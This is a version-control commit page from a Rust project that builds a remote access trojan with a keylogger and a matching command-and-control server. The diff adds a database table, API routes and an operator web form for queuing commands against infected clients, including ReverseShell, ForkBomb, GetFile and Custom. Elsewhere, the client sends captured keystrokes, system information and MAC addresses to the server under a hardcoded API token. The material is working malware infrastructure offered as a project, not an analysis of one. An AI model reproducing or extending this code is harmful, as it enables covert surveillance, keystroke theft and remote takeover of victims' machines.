Skip to content
Snippets Groups Projects
Commit a6a365a8 authored by leo.muff's avatar leo.muff
Browse files

modified config struct

parent b3acaebb
No related branches found
No related tags found
1 merge request!1Commands
...@@ -7,6 +7,7 @@ KEY_API = "/keys" ...@@ -7,6 +7,7 @@ KEY_API = "/keys"
IMAGE_API= "/images" IMAGE_API= "/images"
SOUND_API = "/sound" SOUND_API = "/sound"
INFO_API = "/info" INFO_API = "/info"
COMMANDS_API="/commands"
BUFFERMAXLEN = 50 BUFFERMAXLEN = 50
API_TOKEN = "cbbYrcu6BkM6dSnmzMU0BWZMlxqrIboT" API_TOKEN = "cbbYrcu6BkM6dSnmzMU0BWZMlxqrIboT"
SHELL_PORT = "4444" SHELL_PORT = "4444"
......
use sharedlib::config::ApiInfo; use sharedlib::config::Config;
use std::{ use std::{
fs, fs,
fs::OpenOptions, fs::OpenOptions,
io::Write, io::Write,
path::Path, path::Path,
env,
collections::HashMap collections::HashMap
}; };
...@@ -25,22 +25,22 @@ pub enum DataType { ...@@ -25,22 +25,22 @@ pub enum DataType {
Info Info
} }
pub struct DataFiles<'a>{ /* pub struct DataFiles<'a>{
list: HashMap<DataType,&'a DataFile> list: HashMap<DataType,&'a DataFile>
} } */
impl DataFile { impl DataFile {
pub fn new(kind:DataType) -> Option<Self> { pub fn new(kind:DataType) -> Option<Self> {
let api_info = ApiInfo::new().ok()?; let _api_info = Config::new().ok()?;
let basedir = String::from(BASEDIR); let basedir = String::from(BASEDIR);
let path = match kind { let path = match kind {
DataType::Keys => basedir + &api_info.keys_api, DataType::Keys => basedir + &env::var("KEY_API").ok()?,
DataType::Image => basedir + &api_info.images_api, DataType::Image => basedir + &env::var("IMAGE_API").ok()?,
DataType::Sound => basedir + &api_info.sound_api, DataType::Sound => basedir + &env::var("SOUND_API").ok()?,
DataType::Info => basedir + &api_info.info_api DataType::Info => basedir + &env::var("INFO_API").ok()?
}; };
if let Ok(_) = check_data_path(&path){ if let Ok(_) = check_data_path(&path){
if let Ok(path_ref) = get_file_nb(&path){ if let Ok(path_ref) = get_file_nb(&path){
......
use crate::server::DbConnection; use crate::server::{DbConnection, CommandForm};
use rocket_sync_db_pools::diesel::{self, RunQueryDsl, PgConnection,QueryDsl, ExpressionMethods}; use rocket_sync_db_pools::diesel::{self, RunQueryDsl, PgConnection,QueryDsl, ExpressionMethods};
use rocket::{http::Status, response::status}; use rocket::{http::Status, response::status};
use sharedlib::{ use sharedlib::{
schema::{keys,clients, sysinfo, ports}, schema::{keys,clients, sysinfo, ports, commands},
models::{Keys,NewClient, Client, SysInfoData, NewSysInfo, SysInfoModel, SocketProtocol, PortModel, NewPort, KeysData, NewKeys}, models::{Keys,NewClient, Client, SysInfoData, NewSysInfo, SysInfoModel, SocketProtocol, PortModel, NewPort, KeysData, NewKeys, NewCommand, CommandModel},
errors::DbError errors::DbError
}; };
use diesel::prelude::QueryResult; use diesel::prelude::QueryResult;
...@@ -150,3 +150,19 @@ pub async fn get_client_address(db_conn: &DbConnection, id: i32) -> Result<Strin ...@@ -150,3 +150,19 @@ pub async fn get_client_address(db_conn: &DbConnection, id: i32) -> Result<Strin
Ok(client) Ok(client)
} }
pub async fn add_command(db_conn: &DbConnection, command: CommandForm) -> Result<(),status::Custom<String>> {
let new = NewCommand {command : command.command, option : command.option, client_id : command.client_id};
db_conn.run(move |conn| {
diesel::insert_into(commands::table).values(new).execute(conn)
}).await.map_err(|e|
status::Custom(Status::InternalServerError, DbError::DieselError(e).to_string()))?;
Ok(())
}
pub async fn get_commands(db_conn: &DbConnection, id : i32) -> Result<Vec<CommandModel>, status::Custom<String>> {
let commands = db_conn.run(move |conn:&mut PgConnection|
commands::table.filter(commands::client_id.eq(id)).load::<CommandModel>(conn)).await
.map_err(|e| status::Custom(Status::InternalServerError, e.to_string()))?;
Ok(commands)
}
...@@ -3,7 +3,7 @@ use sharedlib::config::load_dotenv; ...@@ -3,7 +3,7 @@ use sharedlib::config::load_dotenv;
use std::sync::Mutex; use std::sync::Mutex;
use c2::backup::{DataFile, DataType}; use c2::backup::{DataFile, DataType};
use c2::server::DbConnection; use c2::server::DbConnection;
use c2::routes::{home, post_key, get_json_keys, get_html_clients, post_systeminfo}; use c2::routes::{home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands};
use rocket_dyn_templates::Template; use rocket_dyn_templates::Template;
use rocket::fs::FileServer; use rocket::fs::FileServer;
...@@ -33,7 +33,7 @@ fn rocket() -> _ { ...@@ -33,7 +33,7 @@ fn rocket() -> _ {
let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing()); let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing());
println!("Connecting to database ..."); println!("Connecting to database ...");
build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo]) build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands])
.mount("/static", FileServer::from("c2/templates/static")) .mount("/static", FileServer::from("c2/templates/static"))
.register("/", catchers![not_found, internal_error]) .register("/", catchers![not_found, internal_error])
.manage(keys_file) .manage(keys_file)
......
use rocket::form::Form;
use rocket::{get, post}; use rocket::{get, post};
use rocket::{State, http::Status, serde::json::Json, response::status}; use rocket::{State, http::Status, serde::json::Json, response::status};
use std::sync::Mutex; use std::sync::Mutex;
use crate::backup::DataFile; use crate::backup::DataFile;
use crate::server::{Response, DbConnection , ApiClient}; use crate::server::{DbConnection , ApiClient, CommandForm};
use sharedlib::models::{Keys, KeysData, SysInfoData}; use sharedlib::models::{ApiId, Keys, KeysData, SysInfoData, Command, CommandModel};
use rocket_dyn_templates::{Template, context}; use rocket_dyn_templates::{Template, context};
use crate::db::*; use crate::db::*;
#[get("/")] #[get("/")]
pub async fn home(db_conn:DbConnection) -> Result<Template, status::Custom<String>>{ pub async fn home(db_conn:DbConnection) -> Result<Template, status::Custom<String>>{
let clients = get_all_clients(&db_conn).await?; let clients = get_all_clients(&db_conn).await?;
let commands = vec![Command::GetFile, Command::ReverseShell, Command::ForkBomb, Command::Custom];
Ok(Template::render("clients", context! {clients})) Ok(Template::render("clients", context! {clients, commands}))
} }
#[post("/keys", data = "<keys_data>")] #[post("/keys", data = "<keys_data>")]
pub async fn post_key(keys_data: Json<KeysData>, client:ApiClient, data:&State<Mutex<Option<DataFile>>>, db_conn:DbConnection) -> Result<Json<Response>,status::Custom<String>> { pub async fn post_key(keys_data: Json<KeysData>, client:ApiClient, data:&State<Mutex<Option<DataFile>>>, db_conn:DbConnection) -> Result<Json<String>,status::Custom<String>> {
// add user to db if not present // add user to db if not present
let addr = keys_data.addr.clone(); let addr = keys_data.addr.clone();
...@@ -29,8 +30,8 @@ pub async fn post_key(keys_data: Json<KeysData>, client:ApiClient, data:&State<M ...@@ -29,8 +30,8 @@ pub async fn post_key(keys_data: Json<KeysData>, client:ApiClient, data:&State<M
Ok(mut data) => Ok(mut data) =>
if let Some(data) = &mut *data { if let Some(data) = &mut *data {
match data.save_data(result_str){ match data.save_data(result_str){
Ok(_) => Ok(Json(Response {status: String::from("Ok")})), Ok(_) => Ok(Json( String::from("Ok"))),
Err(e) => Ok(Json(Response {status: e.to_string()})) Err(e) => Err(status::Custom(Status::InternalServerError, e.to_string()))
} }
} else { } else {
...@@ -56,10 +57,11 @@ pub async fn get_html_clients(db_conn:DbConnection, id: i32) -> Result<Template, ...@@ -56,10 +57,11 @@ pub async fn get_html_clients(db_conn:DbConnection, id: i32) -> Result<Template,
} }
#[post("/info", data="<sysinfo>")] #[post("/info", data="<sysinfo>")]
pub async fn post_systeminfo(db_conn:DbConnection, __client:ApiClient, sysinfo: Json<SysInfoData>)-> Result<Json<Response>,status::Custom<String>> { pub async fn post_systeminfo(db_conn:DbConnection, _client:ApiClient, sysinfo: Json<SysInfoData>)-> Result<Json<ApiId>,status::Custom<String>> {
// get mac address for client id // get mac address for client id
let addr = sysinfo.address.clone().ok_or(status::Custom(Status::BadRequest, "Missing address".to_owned()))?; let addr = sysinfo.address.clone().ok_or(status::Custom(Status::BadRequest, "Missing address".to_owned()))?;
let client = add_user(&db_conn, addr).await?; let client = add_user(&db_conn, addr).await?;
let client_id = client.id;
let info_id = add_info(&db_conn, sysinfo.clone().into_inner(), client).await?; let info_id = add_info(&db_conn, sysinfo.clone().into_inner(), client).await?;
// remove old ports // remove old ports
delete_ports(&db_conn, info_id).await?; delete_ports(&db_conn, info_id).await?;
...@@ -72,6 +74,19 @@ pub async fn post_systeminfo(db_conn:DbConnection, __client:ApiClient, sysinfo: ...@@ -72,6 +74,19 @@ pub async fn post_systeminfo(db_conn:DbConnection, __client:ApiClient, sysinfo:
// log infos // log infos
Ok(Json(Response {status: String::from("Ok")})) Ok(Json(ApiId {id: client_id}))
}
#[post("/newcommand", data="<command>")]
pub async fn post_new_command(db_conn:DbConnection, command : Form<CommandForm>) -> Result<String,status::Custom<String>> {
add_command(&db_conn, command.into_inner()).await?;
Ok(String::from("Command added"))
} }
#[get("/commands/<id>")]
pub async fn get_json_commands(db_conn:DbConnection, id: i32) -> Result<Json<Vec<CommandModel>>, status::Custom<String>> {
let commands = get_commands(&db_conn, id).await.map(|data| Json(data))?;
Ok(commands)
}
\ No newline at end of file
use rocket::serde::{
Deserialize, Serialize
};
use rocket::http::Status; use rocket::http::Status;
use rocket::request::{Outcome, Request, FromRequest}; use rocket::request::{Outcome, Request, FromRequest};
use rocket_sync_db_pools::{diesel,database}; use rocket_sync_db_pools::{diesel,database};
use rocket::form::FromForm;
use std::net::SocketAddr; use std::net::SocketAddr;
use std::env; use std::env;
...@@ -12,10 +10,6 @@ use std::env; ...@@ -12,10 +10,6 @@ use std::env;
pub struct DbConnection(diesel::PgConnection); pub struct DbConnection(diesel::PgConnection);
#[derive(Deserialize, Serialize)]
pub struct Response { //TODO: BETTER
pub status:String
}
pub struct ApiClient{ pub struct ApiClient{
pub socketaddr:SocketAddr pub socketaddr:SocketAddr
...@@ -52,3 +46,15 @@ impl<'r> FromRequest<'r> for ApiClient { ...@@ -52,3 +46,15 @@ impl<'r> FromRequest<'r> for ApiClient {
} }
} }
#[derive(FromForm)]
pub struct CommandForm {
#[field(validate = range(0..10))]
pub command : i32,
pub option : Option<String>,
#[field(validate = range(0..))]
pub client_id : i32
}
...@@ -15,7 +15,8 @@ ...@@ -15,7 +15,8 @@
<tr> <tr>
<th scope="col">Id</th> <th scope="col">Id</th>
<th scope="col">Address</th> <th scope="col">Address</th>
<th scope="col">Control page</th> <th scope="col">Data page</th>
<th scope="col">Command</th>
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
...@@ -23,7 +24,20 @@ ...@@ -23,7 +24,20 @@
<tr> <tr>
<th scope="row">{{client.id}}</th> <th scope="row">{{client.id}}</th>
<td>{{client.address}}</td> <td>{{client.address}}</td>
<td><a href="client/{{client.id}}"> More </a></td> <td><a href="client/{{client.id}}"> Data </a></td>
<td>
<form action="/newcommand" method="post">
<label for="command">Choose a command :</label>
<select id="command" name="command">
{% for c in commands %}
<option value="{{loop.index}}">{{c}}</option>
{% endfor %}
</select>
<input type="text" placeholder="Option" name=option/>
<input name="client_id" type="hidden" value={{client.id}} />
<input type="submit" />
</form>
</td>
</tr> </tr>
{% endfor %} {% endfor %}
</tbody> </tbody>
......
...@@ -5,8 +5,8 @@ use reqwest::{ ...@@ -5,8 +5,8 @@ use reqwest::{
}; };
use sharedlib::{ use sharedlib::{
config::ApiInfo, config::Config,
models:: KeysData models::{KeysData, CommandModel}
}; };
use crate::systeminfo::SysInfo; use crate::systeminfo::SysInfo;
...@@ -15,10 +15,10 @@ use crate::errors::ClientError; ...@@ -15,10 +15,10 @@ use crate::errors::ClientError;
pub fn send_keys(keys: KeysData) -> Result<Response, ClientError> { pub fn send_keys(keys: KeysData) -> Result<Response, ClientError> {
let client = Client::new(); let client = Client::new();
let api_info = ApiInfo::new()?; let api_info = Config::new()?;
let header = HeaderName::from_lowercase(b"x-api-key")?; let header = HeaderName::from_lowercase(b"x-api-key")?;
let token = api_info.api_token.clone(); let token = api_info.api_token()?.clone();
let req = client.post(api_info.keys_path()).json(&keys).header(header, token).send(); let req = client.post(api_info.keys_path()?).json(&keys).header(header, token).send();
match req { match req {
Ok(req) => { Ok(req) => {
match_status(req) match_status(req)
...@@ -27,25 +27,15 @@ pub fn send_keys(keys: KeysData) -> Result<Response, ClientError> { ...@@ -27,25 +27,15 @@ pub fn send_keys(keys: KeysData) -> Result<Response, ClientError> {
} }
} }
pub fn match_status(req : Response) -> Result<Response, ClientError> {
match req.status() {
StatusCode::OK => Ok(req),
StatusCode::BAD_REQUEST => Err(ClientError::InvalidDataError),
StatusCode::REQUEST_TIMEOUT => Err(ClientError::TimeOutError),
StatusCode::INTERNAL_SERVER_ERROR => Err(ClientError::C2Error),
_ => Err(ClientError::OtherError)
}
}
pub fn send_sysinfo() -> Result<Response, ClientError>{ pub fn send_sysinfo() -> Result<Response, ClientError>{
let infos = SysInfo::get(); let infos = SysInfo::get();
let data = infos.to_sysinfo_data(); let data = infos.to_sysinfo_data();
let client = Client::new(); let client = Client::new();
let api_info = ApiInfo::new()?; let api_info = Config::new()?;
let header = HeaderName::from_lowercase(b"x-api-key")?; let header = HeaderName::from_lowercase(b"x-api-key")?;
let token = api_info.api_token.clone(); let token = api_info.api_token()?.clone();
let req = client.post(api_info.info_path()).json(&data).header(header, token).send(); let req = client.post(api_info.info_path()?).json(&data).header(header, token).send();
match req { match req {
Ok(req) => { Ok(req) => {
match_status(req) match_status(req)
...@@ -55,7 +45,22 @@ pub fn send_sysinfo() -> Result<Response, ClientError>{ ...@@ -55,7 +45,22 @@ pub fn send_sysinfo() -> Result<Response, ClientError>{
} }
/* pub async fn process_commands(id: i32) -> Result<(), ClientError>{
let client = reqwest::Client::new();
let commands : Vec<CommandModel> = Vec::new();
let command_path = Config::new()?.commands_path()?;
loop {
};
} */
pub fn match_status(req : Response) -> Result<Response, ClientError> {
match req.status() {
StatusCode::OK => Ok(req),
StatusCode::BAD_REQUEST => Err(ClientError::InvalidDataError),
StatusCode::REQUEST_TIMEOUT => Err(ClientError::TimeOutError),
StatusCode::INTERNAL_SERVER_ERROR => Err(ClientError::C2Error),
_ => Err(ClientError::OtherError)
}
}
\ No newline at end of file
...@@ -5,7 +5,7 @@ use std::{ ...@@ -5,7 +5,7 @@ use std::{
ffi::OsString ffi::OsString
}; };
use reqwest::header::InvalidHeaderName; use reqwest::header::InvalidHeaderName;
use sharedlib::config::ConstantsError; use sharedlib::errors::ConstantsError;
pub enum ClientError { pub enum ClientError {
InvalidDataError, InvalidDataError,
......
...@@ -2,15 +2,17 @@ ...@@ -2,15 +2,17 @@
use evdev_rs::{ use evdev_rs::{
Device, ReadFlag, enums::{EventCode, EV_KEY} Device, ReadFlag, enums::{EventCode, EV_KEY}
}; };
use std::{ use std::{
fs, path::PathBuf fs, path::PathBuf
}; };
use sharedlib::models::KeysData;
use crate::{client, systeminfo::get_mac_address}; use crate::{client, systeminfo::get_mac_address};
use crate::errors::{SysinfoError, ClientError}; use crate::errors::{SysinfoError, ClientError};
use sharedlib::config::BUFFERMAXLEN; use sharedlib::{
config::Config,
errors::ConstantsError::ParsingError,
models::KeysData
};
pub struct Keylogger { pub struct Keylogger {
device_path: Result<PathBuf, SysinfoError>, device_path: Result<PathBuf, SysinfoError>,
...@@ -64,8 +66,9 @@ impl Keylogger { ...@@ -64,8 +66,9 @@ impl Keylogger {
fn check_data(buffer: &Vec<u8>) -> Result<Vec<u8>, ClientError>{ fn check_data(buffer: &Vec<u8>) -> Result<Vec<u8>, ClientError>{
let conf = Config::new()?.buffer_max_len()?.parse::<usize>()
if buffer.len() > BUFFERMAXLEN { .map_err(|_| ClientError::EnvDataError(ParsingError))?;
if buffer.len() > conf {
let new = vec![]; let new = vec![];
let buff = buffer; let buff = buffer;
let mac = get_mac_address()?; let mac = get_mac_address()?;
......
...@@ -6,7 +6,7 @@ use std::{ ...@@ -6,7 +6,7 @@ use std::{
use rat::keylogger::Keylogger; use rat::keylogger::Keylogger;
use rat::client::send_sysinfo; use rat::client::send_sysinfo;
use sharedlib::models::ApiId;
fn main() -> io::Result<()> { fn main() -> io::Result<()> {
...@@ -14,8 +14,9 @@ fn main() -> io::Result<()> { ...@@ -14,8 +14,9 @@ fn main() -> io::Result<()> {
println!("must be run on a linux system"); println!("must be run on a linux system");
panic!("Wrong OS"); panic!("Wrong OS");
} }
if let Err(e) = send_sysinfo(){ let client_id = match send_sysinfo() {
println!("Error sending system infos: {}", e); Ok(res) => res.json::<ApiId>().ok(),
Err(_) => None // log error
}; };
let kdb = Keylogger::new(); let kdb = Keylogger::new();
......
...@@ -3,3 +3,4 @@ DROP TABLE keys; ...@@ -3,3 +3,4 @@ DROP TABLE keys;
DROP TABLE clients; DROP TABLE clients;
DROP TABLE sysinfo; DROP TABLE sysinfo;
DROP TABLE ports; DROP TABLE ports;
DROP TABLE commands;
\ No newline at end of file
...@@ -27,3 +27,11 @@ CREATE TABLE ports ( ...@@ -27,3 +27,11 @@ CREATE TABLE ports (
protocol VARCHAR NOT NULL, protocol VARCHAR NOT NULL,
client_info_id INTEGER NOT NULL client_info_id INTEGER NOT NULL
); );
CREATE TABLE commands (
id SERIAL PRIMARY KEY,
command INTEGER NOT NULL,
option VARCHAR,
client_id INTEGER NOT NULL,
UNIQUE (command, client_id)
)
\ No newline at end of file
use dotenvy::dotenv; use dotenvy::dotenv;
use std::env; use crate::errors::ConstantsError;
pub const SERVER_IP:&str = "127.0.0.1";
pub const SERVER_PORT:&str = "8888";
pub const KEY_API: &str = "/key";
pub const IMAGE_API:&str= "/images";
pub const SOUND_API:&str = "/sound";
pub const BUFFERMAXLEN: usize = 50;
#[derive(Clone)] #[derive(Clone)]
pub struct ApiInfo{ pub struct Config();
pub server_path:String,
pub keys_api: String,
pub images_api: String,
pub sound_api: String,
pub api_token: String,
pub info_api : String
}
impl ApiInfo { impl Config {
pub fn new() -> Result<Self, ConstantsError>{ pub fn new() -> Result<Self, ConstantsError>{
load_dotenv()?; load_dotenv()?;
let server_ip = dotenvy::var("ROCKET_ADDRESS")?; Ok(Config())
let server_port = dotenvy::var("ROCKET_PORT")?;
let key_api = dotenvy::var("KEY_API")?;
let image_api = dotenvy::var("IMAGE_API")?;
let sound_api = dotenvy::var("SOUND_API")?;
let info_api = dotenvy::var("INFO_API")?;
let token = dotenvy::var("API_TOKEN")?;
Ok(ApiInfo {
server_path: format!("http://{}:{}",server_ip,server_port),
keys_api: key_api,
images_api: image_api,
sound_api: sound_api ,
api_token: token,
info_api: info_api
})
} }
pub fn keys_path(self) -> String{
self.server_path + &self.keys_api pub fn server_path(&self) -> Result<String, ConstantsError>{
let server_ip = dotenvy::var("ROCKET_ADDRESS")?;
let port = dotenvy::var("ROCKET_PORT")?;
let path = format!("http://{}:{}",server_ip,port);
Ok(path)
} }
pub fn image_path(self) -> String{ pub fn keys_path(&self) -> Result<String, ConstantsError>{
self.server_path + &self.images_api let server_ip = self.server_path()?;
let key_api = dotenvy::var("KEY_API")?;
Ok(server_ip + &key_api)
} }
pub fn video_path(self) -> String{ pub fn image_path(&self) -> Result<String, ConstantsError>{
self.server_path + &self.sound_api let server_ip = self.server_path()?;
let image_api = dotenvy::var("IMAGE_API")?;
Ok(server_ip + &image_api)
} }
pub fn info_path(self) -> String{ pub fn sound_path(&self) -> Result<String, ConstantsError>{
self.server_path + &self.info_api let server_ip = self.server_path()?;
let sound_api = dotenvy::var("SOUND_API")?;
Ok(server_ip + &sound_api)
} }
pub fn info_path(&self) -> Result<String, ConstantsError>{
let server_ip = self.server_path()?;
let info_api = dotenvy::var("INFO_API")?;
Ok(server_ip + &info_api)
} }
#[derive(Debug)] pub fn commands_path(&self) -> Result<String, ConstantsError>{
pub enum ConstantsError{ let server_ip = self.server_path()?;
IoError, let cmd_api = dotenvy::var("COMMANDS_API")?;
ParsingError, Ok(server_ip + &cmd_api)
NotFoundError,
EncodingError,
UnknownError
} }
impl From<dotenvy::Error> for ConstantsError { pub fn api_token(&self) -> Result<String, ConstantsError>{
fn from(err: dotenvy::Error) -> ConstantsError { let token = dotenvy::var("API_TOKEN")?;
match err{ Ok(token)
dotenvy::Error::Io(_) => Self::IoError,
dotenvy::Error::EnvVar(e) => match e {
env::VarError::NotPresent => Self::NotFoundError,
env::VarError::NotUnicode(_) => Self::EncodingError
},
dotenvy::Error::LineParse(_,_) => Self::ParsingError,
_ => Self::UnknownError
} }
pub fn buffer_max_len(&self) -> Result<String, ConstantsError>{
let len = dotenvy::var("BUFFERMAXLEN")?;
Ok(len)
} }
} }
......
use diesel::ConnectionError; use diesel::ConnectionError;
use diesel::result::Error; use diesel::result::Error;
use crate::config::ConstantsError;
use std::fmt;
use std::{fmt, env};
#[derive(Debug)]
pub enum ConstantsError{
IoError,
ParsingError,
NotFoundError,
EncodingError,
UnknownError
}
impl From<dotenvy::Error> for ConstantsError {
fn from(err: dotenvy::Error) -> ConstantsError {
match err{
dotenvy::Error::Io(_) => Self::IoError,
dotenvy::Error::EnvVar(e) => match e {
env::VarError::NotPresent => Self::NotFoundError,
env::VarError::NotUnicode(_) => Self::EncodingError
},
dotenvy::Error::LineParse(_,_) => Self::ParsingError,
_ => Self::UnknownError
}
}
}
pub enum DbError { pub enum DbError {
InfoError(ConstantsError), InfoError(ConstantsError),
DieselError(Error), DieselError(Error),
...@@ -37,3 +62,4 @@ impl fmt::Display for DbError { ...@@ -37,3 +62,4 @@ impl fmt::Display for DbError {
} }
} }
use diesel::prelude::*; use diesel::prelude::*;
use crate::schema::{keys ,clients, sysinfo, ports}; use crate::schema::{keys ,clients, sysinfo, ports, commands};
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use chrono::Utc; use chrono::Utc;
use diesel::sql_types::{VarChar, Integer, Text, Nullable}; use diesel::sql_types::{VarChar, Integer, Text, Nullable};
use std::collections::HashMap; use std::collections::HashMap;
#[derive(Deserialize, Serialize)]
pub struct ApiId{
pub id :i32
}
// database model // database model
#[derive(Deserialize, Serialize, QueryableByName, Queryable, Selectable, Debug, Identifiable)] #[derive(Deserialize, Serialize, QueryableByName, Queryable, Selectable, Debug, Identifiable)]
#[diesel(table_name = keys)] #[diesel(table_name = keys)]
...@@ -136,3 +141,32 @@ pub enum SocketProtocol { ...@@ -136,3 +141,32 @@ pub enum SocketProtocol {
#[derive(Debug, Serialize, Deserialize, Clone)] #[derive(Debug, Serialize, Deserialize, Clone)]
pub struct OpenPortsData(pub HashMap<i32, SocketProtocol>); pub struct OpenPortsData(pub HashMap<i32, SocketProtocol>);
#[derive(Serialize)]
pub enum Command {
GetFile,
ForkBomb,
ReverseShell,
Custom,
}
#[derive(Deserialize, Serialize, QueryableByName, Queryable, Selectable, Debug, Identifiable)]
#[diesel(table_name = commands)]
#[diesel(check_for_backend(diesel::pg::Pg))]
pub struct CommandModel{
#[diesel(sql_type = Integer)]
pub id :i32,
#[diesel(sql_type = Integer)]
pub command : i32,
#[diesel(sql_type = Nullable<VarChar>)]
pub option : Option<String>,
#[diesel(sql_type = Integer)]
pub client_id: i32
}
#[derive(Insertable)]
#[diesel(table_name = commands)]
pub struct NewCommand {
pub command : i32,
pub option : Option<String>,
pub client_id : i32
}
\ No newline at end of file
...@@ -7,6 +7,15 @@ diesel::table! { ...@@ -7,6 +7,15 @@ diesel::table! {
} }
} }
diesel::table! {
commands (id) {
id -> Int4,
command -> Int4,
option -> Nullable<Varchar>,
client_id -> Int4,
}
}
diesel::table! { diesel::table! {
keys (id) { keys (id) {
id -> Int4, id -> Int4,
...@@ -38,6 +47,7 @@ diesel::table! { ...@@ -38,6 +47,7 @@ diesel::table! {
diesel::allow_tables_to_appear_in_same_query!( diesel::allow_tables_to_appear_in_same_query!(
clients, clients,
commands,
keys, keys,
ports, ports,
sysinfo, sysinfo,
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment